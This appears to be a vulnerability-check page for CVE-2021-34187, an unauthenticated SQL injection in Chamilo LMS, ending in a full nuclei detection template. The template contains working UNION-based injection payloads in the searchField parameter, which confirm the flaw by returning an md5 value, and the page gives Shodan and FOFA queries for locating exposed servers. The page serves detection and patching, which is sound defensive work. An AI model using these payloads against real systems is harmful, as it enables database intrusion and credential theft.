Chamilo model.ajax.php - SQL Injection

criticalseverity

9.8CVSS score

16.2%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

main/inc/ajax/model.ajax.php in Chamilo through 1.11.14 allows SQL Injection via the searchField, filters, or filters2 parameter.

Impact

Unauthenticated attackers can exploit SQL injection via multiple parameters to extract database contents, potentially exposing all Chamilo LMS data including user credentials.

Fix

Upgrade to Chamilo version 1.11.15 or later.

How to confirm it

Send: GET {{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20A…
Positive when: contains "{{md5({{num}})}}" AND contains in content_type "application/json"

Run it with nuclei: nuclei -id CVE-2021-34187 -u <target>

The full check

id: CVE-2021-34187

info:
  name: Chamilo model.ajax.php - SQL Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    main/inc/ajax/model.ajax.php in Chamilo through 1.11.14 allows SQL Injection via the searchField, filters, or filters2 parameter.
  impact: |
    Unauthenticated attackers can exploit SQL injection via multiple parameters to extract database contents, potentially exposing all Chamilo LMS data including user credentials.
  remediation: |
    Upgrade to Chamilo version 1.11.15 or later.
  reference:
    - https://murat.one/?p=118
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34187
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-34187
    cwe-id: CWE-89
    epss-score: 0.16181
    epss-percentile: 0.96963
    cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:*
  metadata:
    vendor: chamilo
    product: chamilo
    shodan-query: "X-Powered-By: Chamilo"
    fofa-query: 'banner="X-Powered-By: Chamilo"'
    verified: true
    max-request: 1
  tags: cve,cve2021,chamilo,sqli,vkev,vuln

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+md5({{num}}))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
      - '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+extractvalue(0x0a,concat(0x0a,(md5({{num}})))))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
      - '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+md5({{num}}))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
      - '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+extractvalue(0x0a,concat(0x0a,(md5({{num}})))))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: word
        part: content_type
        words:
          - 'application/json'

References

Use this check only on systems you are authorised to test. Where the data comes from